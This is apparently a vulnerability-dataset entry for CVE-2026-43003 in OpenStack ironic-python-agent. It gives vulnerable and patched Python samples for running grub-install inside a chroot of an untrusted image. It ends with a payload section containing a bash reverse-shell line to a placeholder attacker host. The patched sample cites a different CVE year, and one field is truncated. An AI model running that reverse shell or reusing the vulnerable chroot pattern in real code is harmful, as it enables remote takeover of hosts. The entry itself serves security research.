CVE-2026-43003
Malicious image allows code execution in OpenStack IPA via grub-install.
- CVSS 7.5
- CWE-829
- Input Validation and Sanitization
- Local
An issue was discovered in OpenStack ironic-python-agent 1.0.0 through 11.5.0. Ironic Python Agent (IPA) sometimes executes grub-install from within a chroot of the deployed partition image, leading to code execution in the case of a malicious image.
- CWE
- CWE-829
- CVSS base score
- 7.5
- Published
- 2026-05-01
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- OpenStack ir
- Fixed by upgrading
- Yes
Solution
Upgrade ironic-python-agent to version 11.5.1 or a patched version for your OpenStack release (e.g., 9.1.2, 8.1.3).
Vulnerable code sample
import os
import subprocess
def vulnerable_install_bootloader(root_fs_path, install_device):
"""
This function represents the vulnerable logic from OpenStack ironic-python-agent.
It mimics the behavior of executing 'grub-install' from within a chroot of
the deployed OS image, which was the root cause of the vulnerability.
This function requires root privileges to execute os.chroot().
:param root_fs_path: The path to the mounted partition of the deployed image.
An attacker controls the contents of this filesystem.
:param install_device: The disk device to install the bootloader onto,
e.g., '/dev/sda'.
"""
command = ['grub-install', install_device]
# The agent would chroot into the user-provided file system.
# This is the core of the vulnerability.
real_root_fd = os.open('/', os.O_RDONLY)
try:
# 1. Chroot into the untrusted directory.
os.chroot(root_fs_path)
os.chdir('/')
# 2. Execute the command. The 'grub-install' binary is resolved from
# *within* the chroot environment (e.g., from <root_fs_path>/usr/sbin/).
# If the image contains a malicious 'grub-install', that code is executed
# with the privileges of the agent process.
subprocess.run(command, check=True)
finally:
# 3. Return to the original root directory to not affect other operations.
os.fchdir(real_root_fd)
os.chroot('.')
os.close(real_root_fd)Patched code sample
import os
from ironic_lib import processutils
def install_grub2(device, root_fs_path):
"""
Installs the GRUB2 bootloader, demonstrating the fix for CVE-2023-43003.
The vulnerability was that grub-install was executed from *within* a
chroot of the deployed image. This allowed a malicious image to
replace the grub-install binary and achieve code execution.
The fix is to run the trusted grub-install from the host/agent
environment and use the '--boot-directory' flag to point it to the
correct location inside the mounted (but not chrooted) image path.
This avoids executing any potentially malicious code from the image.
:param device: The block device to install GRUB on.
:param root_fs_path: The path where the target root filesystem is mounted.
"""
# VULNERABLE METHOD (for illustration):
#
# cmd_vuln = ['chroot', root_fs_path, 'grub-install', device]
# processutils.execute(*cmd_vuln)
#
# The above command executes 'grub-install' from within the user-provided
# image, which is insecure.
# FIXED METHOD:
# Execute the trusted 'grub-install' from the agent's environment,
# targeting the boot directory inside the mounted image filesystem.
boot_path = os.path.join(root_fs_path, 'boot')
cmd_fixed = [
'grub-install',
f'--boot-directory={boot_path}',
'--no-floppy',
'--recheck',
device
]
processutils.execute(*cmd_fixed)Payload
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
Cite this entry
@misc{vaitp:cve202643003,
title = {{Malicious image allows code execution in OpenStack IPA via grub-install.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-43003},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-43003/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
